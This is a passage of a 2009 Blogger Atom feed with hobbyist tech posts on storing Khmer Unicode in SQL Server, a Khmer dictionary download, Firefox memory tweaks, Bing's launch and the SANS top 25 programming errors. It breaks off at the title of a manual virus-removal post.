characters:&lt;br /&gt;&lt;/div&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_X4hIsD6J-rE/SlsIzuriazI/AAAAAAAAANo/9WbtipcyRS0/s1600-h/unicode_sql_server_0.JPG"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 400px; height: 228px;" src="http://2.bp.blogspot.com/_X4hIsD6J-rE/SlsIzuriazI/AAAAAAAAANo/9WbtipcyRS0/s400/unicode_sql_server_0.JPG" alt="" id="BLOGGER_PHOTO_ID_5357885866484329266" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;So if you need to store national characters in Microsoft SQL Server - please consider using a national character encoding (&lt;a href="http://www.unicode.org/charts/PDF/U1780.pdf"&gt;U+1780   to U+17FF&lt;/a&gt; in Unicode/ISO10646 for Khmer Unicode characters, for example). Change data types: &lt;ul class="Element630"&gt;&lt;li class="Element600"&gt;varchar to nvarchar&lt;/li&gt;&lt;li class="Element600"&gt;text to ntext&lt;/li&gt;&lt;li class="Element600"&gt;char to nchar&lt;/li&gt;&lt;/ul&gt;Here is the example since I created a table and insert data:&lt;br /&gt;&lt;div style="text-align: center;"&gt;1. Create database (mtr_db) as normally (default setting)&lt;br /&gt;&lt;/div&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_X4hIsD6J-rE/SlsLk-Si0NI/AAAAAAAAANw/gugtZNnnYfs/s1600-h/unicode_sql_server_1.JPG"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 400px; height: 223px;" src="http://3.bp.blogspot.com/_X4hIsD6J-rE/SlsLk-Si0NI/AAAAAAAAANw/gugtZNnnYfs/s400/unicode_sql_server_1.JPG" alt="" id="BLOGGER_PHOTO_ID_5357888911511310546" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;div style="text-align: center;"&gt;2. Create table (tblunicode) with two fields (id/name) but&lt;br /&gt;name - data type &lt;span style="font-weight: bold;"&gt;nvarchar(MAX)&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_X4hIsD6J-rE/SlsMVKX7RVI/AAAAAAAAAN4/7dyK2P099IA/s1600-h/unicode_sql_server_2.JPG"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 400px; height: 119px;" src="http://1.bp.blogspot.com/_X4hIsD6J-rE/SlsMVKX7RVI/AAAAAAAAAN4/7dyK2P099IA/s400/unicode_sql_server_2.JPG" alt="" id="BLOGGER_PHOTO_ID_5357889739388831058" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;3. Insert Khmer Unicode and execute we got it as we typed!&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_X4hIsD6J-rE/SlsNl7JJguI/AAAAAAAAAOA/BodrPeRroL0/s1600-h/unicode_sql_server_3.JPG"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 400px; height: 248px;" src="http://2.bp.blogspot.com/_X4hIsD6J-rE/SlsNl7JJguI/AAAAAAAAAOA/BodrPeRroL0/s400/unicode_sql_server_3.JPG" alt="" id="BLOGGER_PHOTO_ID_5357891126869721826" border="0" /&gt;&lt;/a&gt;Good luck!&lt;br /&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/604585202851795693-7608855896322494355?l=computer-experience.blogspot.com' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/G2G-IauvVlA2qSqhyDa8azEPtww/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/G2G-IauvVlA2qSqhyDa8azEPtww/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/G2G-IauvVlA2qSqhyDa8azEPtww/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/G2G-IauvVlA2qSqhyDa8azEPtww/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/blogspot/SNBL/~4/sqrymXnPrWY" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://computer-experience.blogspot.com/feeds/7608855896322494355/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://computer-experience.blogspot.com/2009/07/sql-server-with-unicode-khmer-unicode.html#comment-form" title="2 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/604585202851795693/posts/default/7608855896322494355?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/604585202851795693/posts/default/7608855896322494355?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/blogspot/SNBL/~3/sqrymXnPrWY/sql-server-with-unicode-khmer-unicode.html" title="SQL Server with Unicode / Khmer Unicode characters" /><author><name>MTR</name><uri>http://www.blogger.com/profile/13411144533412664851</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif" /></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://2.bp.blogspot.com/_X4hIsD6J-rE/SlsIzuriazI/AAAAAAAAANo/9WbtipcyRS0/s72-c/unicode_sql_server_0.JPG" height="72" width="72" /><thr:total>2</thr:total><feedburner:origLink>http://computer-experience.blogspot.com/2009/07/sql-server-with-unicode-khmer-unicode.html</feedburner:origLink></entry><entry gd:etag="W/&quot;CkMCRn48eCp7ImA9WxJWFkg.&quot;"><id>tag:blogger.com,1999:blog-604585202851795693.post-6443479352666484948</id><published>2009-06-21T22:02:00.000-07:00</published><updated>2009-06-21T23:01:07.070-07:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2009-06-21T23:01:07.070-07:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="Dictionary" /><category scheme="http://www.blogger.com/atom/ns#" term="Khmer Unicode" /><category scheme="http://www.blogger.com/atom/ns#" term="Khmer Dictionary" /><category scheme="http://www.blogger.com/atom/ns#" term="Chuon Nat" /><title>Chuon Nat - Khmer Dictionary 2.0 with Unicode font</title><content type="html">&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_X4hIsD6J-rE/Sj8RwrLdzkI/AAAAAAAAANY/0DwLYoGRvaA/s1600-h/chuon-nat-khmer-dictionary2.0.JPG"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 400px; height: 43px;" src="http://1.bp.blogspot.com/_X4hIsD6J-rE/Sj8RwrLdzkI/AAAAAAAAANY/0DwLYoGRvaA/s400/chuon-nat-khmer-dictionary2.0.JPG" alt="" id="BLOGGER_PHOTO_ID_5350014410261646914" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;Let's try to distribute Khmer Dictionary to help all Khmer or people get to know Khmer language enjoy using our right dictionary than some dictionary that wrote wrong Khmer word...&lt;br /&gt;&lt;br /&gt;Here, it is &lt;a href="http://www.snapdrive.net/files/583222/Software/KhmerDictionary2-ChuonNat.zip"&gt;&lt;span style="font-weight: bold;"&gt;Chuon Nat Khmer Dictionary (Khmer to Khmer) 2.0 to download&lt;/span&gt;&lt;/a&gt;.&lt;br /&gt;The dictionary using Khmer Unicode so please download &lt;a href="http://www.snapdrive.net/files/583222/Software/KhmerUnicode2.0.0.zip"&gt;Khmer Unicode 2.0&lt;/a&gt;.&lt;br /&gt;The dictionary contains also the short explanation about Khmer Language Grammar.&lt;br /&gt;&lt;br /&gt;Thanks to &lt;a href="http://www.budinst.gov.kh/?q=node/314"&gt;Buddhist Institute of Cambodia&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;You can find other related page for Khmer Dictionary:&lt;br /&gt;1. http://code.google.com/p/khmer-dictionary-tools/&lt;br /&gt;2. http://www.budinst.gov.kh/?q=node/314&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/604585202851795693-6443479352666484948?l=computer-experience.blogspot.com' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/IjwjZRnS9JcTaHDtiSCy3-uvWto/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/IjwjZRnS9JcTaHDtiSCy3-uvWto/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/IjwjZRnS9JcTaHDtiSCy3-uvWto/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/IjwjZRnS9JcTaHDtiSCy3-uvWto/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/blogspot/SNBL/~4/75VRhVwV8YA" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://computer-experience.blogspot.com/feeds/6443479352666484948/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://computer-experience.blogspot.com/2009/06/chuon-nat-khmer-dictionary-20-with.html#comment-form" title="1 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/604585202851795693/posts/default/6443479352666484948?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/604585202851795693/posts/default/6443479352666484948?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/blogspot/SNBL/~3/75VRhVwV8YA/chuon-nat-khmer-dictionary-20-with.html" title="Chuon Nat - Khmer Dictionary 2.0 with Unicode font" /><author><name>MTR</name><uri>http://www.blogger.com/profile/13411144533412664851</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif" /></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://1.bp.blogspot.com/_X4hIsD6J-rE/Sj8RwrLdzkI/AAAAAAAAANY/0DwLYoGRvaA/s72-c/chuon-nat-khmer-dictionary2.0.JPG" height="72" width="72" /><thr:total>1</thr:total><feedburner:origLink>http://computer-experience.blogspot.com/2009/06/chuon-nat-khmer-dictionary-20-with.html</feedburner:origLink></entry><entry gd:etag="W/&quot;DUQAQ3Y9cSp7ImA9WxJXF0U.&quot;"><id>tag:blogger.com,1999:blog-604585202851795693.post-5417023114987499813</id><published>2009-06-11T21:44:00.000-07:00</published><updated>2009-06-11T23:15:42.869-07:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2009-06-11T23:15:42.869-07:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="Browser" /><category scheme="http://www.blogger.com/atom/ns#" term="Performance" /><category scheme="http://www.blogger.com/atom/ns#" term="Firefox" /><title>Optimizing the firefox 3.0.x for saving memories</title><content type="html">Hum, I got so headache when using a slow computer so I have to find the issue... I know I have many programs installed on my system so these can be the problem but I use mostly the firefox for internet surfing...&lt;br /&gt;&lt;br /&gt;I start finding that anytime I open many firefox or tabs at the same it crashes me for a while to use other applications. Check in the process, yes firefox using much memory than others:&lt;br /&gt;&lt;div style="text-align: center;"&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_X4hIsD6J-rE/SjHhoPnpjnI/AAAAAAAAAM4/dxO4JPYPy5k/s1600-h/firefox_memory_process_before.JPG"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 400px; height: 384px;" src="http://1.bp.blogspot.com/_X4hIsD6J-rE/SjHhoPnpjnI/AAAAAAAAAM4/dxO4JPYPy5k/s400/firefox_memory_process_before.JPG" alt="" id="BLOGGER_PHOTO_ID_5346302314169339506" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;Here is the process screen for firefox opens around 25 tabs&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;Here the way I optimize the firefox configuration:&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;I.&lt;/span&gt; Type &lt;span style="font-weight: bold;"&gt;about:config&lt;/span&gt; on firefox address box&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;II.&lt;/span&gt; Session cofingure:&lt;br /&gt;&lt;ol&gt;&lt;li&gt;search "&lt;span style="font-weight: bold;"&gt;session&lt;/span&gt;" in filter box&lt;/li&gt;&lt;li&gt;Edit &lt;span style="font-weight: bold;"&gt;browser.sessionhistory.max_entries&lt;/span&gt; – this is the number of pages stored in the history of your browsing session. Basically these are pages that can be reached using your Back and Forward buttons. The default is 50, I reduced it to 20.&lt;/li&gt;&lt;li&gt;Edit &lt;span style="font-weight: bold;"&gt;browser.sessionhistory.max_total_viewers&lt;/span&gt; – this is the number of pages that are stored in RAM so that they aren’t re-processed by Firefox’s rendering engine. This is what allows you to go Back to a page in Firefox and have it load almost instantaneously. The number of pages stored actually depends on the amount of RAM on your machine. I reduced this to 4 (I have 2GB RAM).&lt;/li&gt;&lt;li&gt;Edit &lt;span style="font-weight: bold;"&gt;browser.sessionstore.max_tabs_undo&lt;/span&gt; – the number of tabs you can restore after closing them (you can do this with Ctrl/Cmd-Shift-T). The default of 10 is more than I really need, so I reduced it to 5 tabs.&lt;/li&gt;&lt;li&gt;Edit &lt;span style="font-weight: bold;"&gt;browser.sessionstore.interval&lt;/span&gt; – Firefox saves your session after every 10 seconds by default. I changed this to a more conservative 30000 milliseconds.&lt;/li&gt;&lt;/ol&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_X4hIsD6J-rE/SjHyAfeYKqI/AAAAAAAAANI/TDeCdaf5OKE/s1600-h/firefox_about_config_session_optimize.JPG"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 400px; height: 102px;" src="http://1.bp.blogspot.com/_X4hIsD6J-rE/SjHyAfeYKqI/AAAAAAAAANI/TDeCdaf5OKE/s400/firefox_about_config_session_optimize.JPG" alt="" id="BLOGGER_PHOTO_ID_5346320322928323234" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;III.&lt;/span&gt; Network configuration:  enable these  to get faster network speed&lt;ol&gt;&lt;li&gt;&lt;span style="font-weight: bold;"&gt;network.http.pipelining&lt;/span&gt; =&gt; true&lt;/li&gt;&lt;li&gt;&lt;span style="font-weight: bold;"&gt;network.http.pipelining.ssl&lt;/span&gt; =&gt; true&lt;/li&gt;&lt;li&gt;&lt;span style="font-weight: bold;"&gt;network.http.proxy.pipelining&lt;/span&gt; =&gt; true&lt;/li&gt;&lt;/ol&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_X4hIsD6J-rE/SjHyZAH-RkI/AAAAAAAAANQ/eksq-kfFJX4/s1600-h/firefox_about_config_network_optimize.JPG"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 400px; height: 74px;" src="http://2.bp.blogspot.com/_X4hIsD6J-rE/SjHyZAH-RkI/AAAAAAAAANQ/eksq-kfFJX4/s400/firefox_about_config_network_optimize.JPG" alt="" id="BLOGGER_PHOTO_ID_5346320744009582146" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;IV.&lt;/span&gt;  Release Memory When Firefox Minimized&lt;br /&gt;&lt;ol&gt;&lt;li&gt;Right click at the content (anywhere) and choose&lt;span style="font-weight: bold;"&gt; New-&gt;Boolean&lt;/span&gt;.&lt;/li&gt;&lt;li&gt;In the textbox, type &lt;span style="font-weight: bold;"&gt;config.trim_on_minimize&lt;/span&gt; and press &lt;span style="font-weight: bold;"&gt;OK&lt;/span&gt;.&lt;/li&gt;&lt;li&gt;Set the value to &lt;span style="font-weight: bold;"&gt;true&lt;/span&gt;, and press OK&lt;/li&gt;&lt;/ol&gt;&lt;span style="font-weight: bold;"&gt;V.&lt;/span&gt; Restart firefox to take affection.&lt;br /&gt;&lt;br /&gt;Here is the result of the process after optimize:&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_X4hIsD6J-rE/SjHu4RZvaHI/AAAAAAAAANA/oumg0eKo9gU/s1600-h/firefox_memory_process_after.JPG"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 400px; height: 384px;" src="http://4.bp.blogspot.com/_X4hIsD6J-rE/SjHu4RZvaHI/AAAAAAAAANA/oumg0eKo9gU/s400/firefox_memory_process_after.JPG" alt="" id="BLOGGER_PHOTO_ID_5346316883176941682" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;So seem it helps, so much different, isn't it? :)&lt;br /&gt;Thanks to following posts also:&lt;br /&gt;&lt;ol&gt;&lt;li&gt;http://support.mozilla.com/en-US/kb/high+memory+usage&lt;/li&gt;&lt;li&gt;http://blog.codefront.net/2008/09/10/optimize-firefoxs-memory-usage-by-tweaking-session-preferences/&lt;/li&gt;&lt;li&gt;http://www.go4expert.com/forums/showthread.php?t=8568&lt;br /&gt;&lt;/li&gt;&lt;/ol&gt;&lt;br /&gt;Enjoy!&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/604585202851795693-5417023114987499813?l=computer-experience.blogspot.com' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/v1ZLDwyTavppgZjM1bsD0tz0CcE/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/v1ZLDwyTavppgZjM1bsD0tz0CcE/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/v1ZLDwyTavppgZjM1bsD0tz0CcE/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/v1ZLDwyTavppgZjM1bsD0tz0CcE/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/blogspot/SNBL/~4/Q9cFk50DnrI" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://computer-experience.blogspot.com/feeds/5417023114987499813/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://computer-experience.blogspot.com/2009/06/optimizing-firefox-30x-for-saving.html#comment-form" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/604585202851795693/posts/default/5417023114987499813?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/604585202851795693/posts/default/5417023114987499813?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/blogspot/SNBL/~3/Q9cFk50DnrI/optimizing-firefox-30x-for-saving.html" title="Optimizing the firefox 3.0.x for saving memories" /><author><name>MTR</name><uri>http://www.blogger.com/profile/13411144533412664851</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif" /></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://1.bp.blogspot.com/_X4hIsD6J-rE/SjHhoPnpjnI/AAAAAAAAAM4/dxO4JPYPy5k/s72-c/firefox_memory_process_before.JPG" height="72" width="72" /><thr:total>0</thr:total><feedburner:origLink>http://computer-experience.blogspot.com/2009/06/optimizing-firefox-30x-for-saving.html</feedburner:origLink></entry><entry gd:etag="W/&quot;C0UDR38-fSp7ImA9WxJXFEk.&quot;"><id>tag:blogger.com,1999:blog-604585202851795693.post-5536369499991799140</id><published>2009-06-07T20:27:00.000-07:00</published><updated>2009-06-07T23:07:56.155-07:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2009-06-07T23:07:56.155-07:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="Bing" /><category scheme="http://www.blogger.com/atom/ns#" term="Search Engine" /><title>Welcome to Bing, live search engine</title><content type="html">&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://www.bing.com"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 400px; height: 247px;" src="http://4.bp.blogspot.com/_X4hIsD6J-rE/SiyLgu7LW5I/AAAAAAAAAMw/W2q43Wd4A9k/s400/bing.JPG" alt="" id="BLOGGER_PHOTO_ID_5344800252250250130" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;Recently, Microsoft has released a new live search engine called Bing (&lt;a href="http://www.bing.com/"&gt;www.bing.com&lt;/a&gt;) (formerly &lt;b&gt;Live Search&lt;/b&gt;, &lt;b&gt;Windows Live Search&lt;/b&gt; and &lt;b&gt;MSN Search&lt;/b&gt;), the question for us is will Bing become a popular search engine as or over Google  (&lt;a href="http://www.google.com/"&gt;www.google.com&lt;/a&gt;)?&lt;br /&gt;&lt;br /&gt;So this question will see during the long way, I think most people when they meet any issue or require some information, they always remember google than other search engine as yahoo etc. but now as bing become a good one of live search engine so the competition should be starting now.&lt;br /&gt;&lt;br /&gt;Bing released online on June 3, 2009 according to the &lt;a href="http://en.wikipedia.org/wiki/Live_Search"&gt;Wiki Pedia&lt;/a&gt; record and it has now 16% of statistics counting since it's online till now, it's still a small percentage if compare to google of 60% but see, how fast they are popular now.&lt;br /&gt;&lt;br /&gt;Any way, welcome to the new competition of search engine!&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/604585202851795693-5536369499991799140?l=computer-experience.blogspot.com' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/aZKHKEOYkx2M4H1vgMWFG-Ra5Ls/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/aZKHKEOYkx2M4H1vgMWFG-Ra5Ls/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/aZKHKEOYkx2M4H1vgMWFG-Ra5Ls/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/aZKHKEOYkx2M4H1vgMWFG-Ra5Ls/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/blogspot/SNBL/~4/v-ZFbixpBRw" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://computer-experience.blogspot.com/feeds/5536369499991799140/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://computer-experience.blogspot.com/2009/06/welcome-bing-live-search-engine.html#comment-form" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/604585202851795693/posts/default/5536369499991799140?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/604585202851795693/posts/default/5536369499991799140?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/blogspot/SNBL/~3/v-ZFbixpBRw/welcome-bing-live-search-engine.html" title="Welcome to Bing, live search engine" /><author><name>MTR</name><uri>http://www.blogger.com/profile/13411144533412664851</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif" /></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://4.bp.blogspot.com/_X4hIsD6J-rE/SiyLgu7LW5I/AAAAAAAAAMw/W2q43Wd4A9k/s72-c/bing.JPG" height="72" width="72" /><thr:total>0</thr:total><feedburner:origLink>http://computer-experience.blogspot.com/2009/06/welcome-bing-live-search-engine.html</feedburner:origLink></entry><entry gd:etag="W/&quot;CUADQ38zeyp7ImA9WxVSGU0.&quot;"><id>tag:blogger.com,1999:blog-604585202851795693.post-4673756919437371961</id><published>2009-01-13T19:26:00.000-08:00</published><updated>2009-01-13T19:29:32.183-08:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2009-01-13T19:29:32.183-08:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="Programming" /><category scheme="http://www.blogger.com/atom/ns#" term="Security" /><category scheme="http://www.blogger.com/atom/ns#" term="Errors" /><category scheme="http://www.blogger.com/atom/ns#" term="News" /><title>[NEWS] THE TOP 25 MOST DANGEROUS PROGRAMMING ERRORS</title><content type="html">&lt;div class="mva"&gt;Here is the list of the top 25 most dangerous programming errors to be notified by all programmers:&lt;br /&gt;&lt;ol&gt;&lt;li&gt;CWE-20:Improper Input Validation&lt;/li&gt;&lt;li&gt;CWE-116:Improper Encoding or Escaping of Output &lt;/li&gt;&lt;li&gt;CWE-89:Failure to Preserve SQL Query Structure&lt;/li&gt;&lt;li&gt;CWE-79:Failure to Preserve Web Page Structure &lt;/li&gt;&lt;li&gt;CWE-78:Failure to Preserve OS Command Structure &lt;/li&gt;&lt;li&gt;CWE-319:Cleartext Transmission of Sensitive Information&lt;/li&gt;&lt;li&gt;CWE-352:Cross-Site Request Forgery&lt;/li&gt;&lt;li&gt;CWE-362:Race Condition &lt;/li&gt;&lt;li&gt;CWE-209:Error Message Information Leak &lt;/li&gt;&lt;li&gt;CWE-119:Failure to Constrain Operations within the Bounds of a Memory Buffer &lt;/li&gt;&lt;li&gt;CWE-642:External Control of Critical State Data &lt;/li&gt;&lt;li&gt;CWE-73:External Control of File Name or Path&lt;/li&gt;&lt;li&gt;CWE-426:Untrusted Search Path&lt;/li&gt;&lt;li&gt;CWE-94:Failure to Control Generation of Code&lt;/li&gt;&lt;li&gt;CWE-494:Download of Code Without Integrity Check &lt;/li&gt;&lt;li&gt;CWE-404:Improper Resource Shutdown or Release &lt;/li&gt;&lt;li&gt;CWE-665:Improper Initialization &lt;/li&gt;&lt;li&gt;CWE-682:Incorrect Calculation &lt;/li&gt;&lt;li&gt;CWE-285:Improper Access Control &lt;/li&gt;&lt;li&gt;CWE-327:Use of a Broken or Risky Cryptographic Algorithm &lt;/li&gt;&lt;li&gt;CWE-259:Hard-Coded Password &lt;/li&gt;&lt;li&gt;CWE-732:Insecure Permission Assignment for Critical Resource &lt;/li&gt;&lt;li&gt;CWE-330:Use of Insufficiently Random Values &lt;/li&gt;&lt;li&gt;CWE-250:Execution with Unnecessary Privileges &lt;/li&gt;&lt;li&gt;CWE-602:Client-Side Enforcement of Server-Side Security &lt;/li&gt;&lt;/ol&gt;                                                                           &lt;div class="bull"&gt;&lt;i&gt;Source: SANS Institute&lt;br /&gt;News Source: &lt;a href="http://news.bbc.co.uk/2/hi/technology/7824939.stm"&gt;Dangerous coding errors revealed &lt;/a&gt;&lt;br /&gt;&lt;/i&gt; &lt;/div&gt;   &lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/604585202851795693-4673756919437371961?l=computer-experience.blogspot.com' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/PJsEEcU_Y14-GhtzGkV-E6wCNV0/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/PJsEEcU_Y14-GhtzGkV-E6wCNV0/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/PJsEEcU_Y14-GhtzGkV-E6wCNV0/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/PJsEEcU_Y14-GhtzGkV-E6wCNV0/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/blogspot/SNBL/~4/ecKHS0DMVBA" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://computer-experience.blogspot.com/feeds/4673756919437371961/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://computer-experience.blogspot.com/2009/01/news-top-25-most-dangerous-programming.html#comment-form" title="1 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/604585202851795693/posts/default/4673756919437371961?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/604585202851795693/posts/default/4673756919437371961?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/blogspot/SNBL/~3/ecKHS0DMVBA/news-top-25-most-dangerous-programming.html" title="[NEWS] THE TOP 25 MOST DANGEROUS PROGRAMMING ERRORS" /><author><name>MTR</name><uri>http://www.blogger.com/profile/13411144533412664851</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif" /></author><thr:total>1</thr:total><feedburner:origLink>http://computer-experience.blogspot.com/2009/01/news-top-25-most-dangerous-programming.html</feedburner:origLink></entry><entry gd:etag="W/&quot;C0AMR387eyp7ImA9WxVbEU4.&quot;"><id>tag:blogger.com,1999:blog-604585202851795693.post-5371130614556363797</id><published>2009-01-04T20:36:00.000-08:00</published><updated>2009-03-26T22:29:46.103-07:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2009-03-26T22:29:46.103-07:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="How to kill Virus" /><category scheme="http://www.blogger.com/atom/ns#" term="Virus" /><category scheme="http://www.blogger.com/atom/ns#" term="Antivirus" /><title>How to kill virus: MS-DOS.com, Global.exe, system.exe, svchost.exe manually</title><content type="html">The virus: 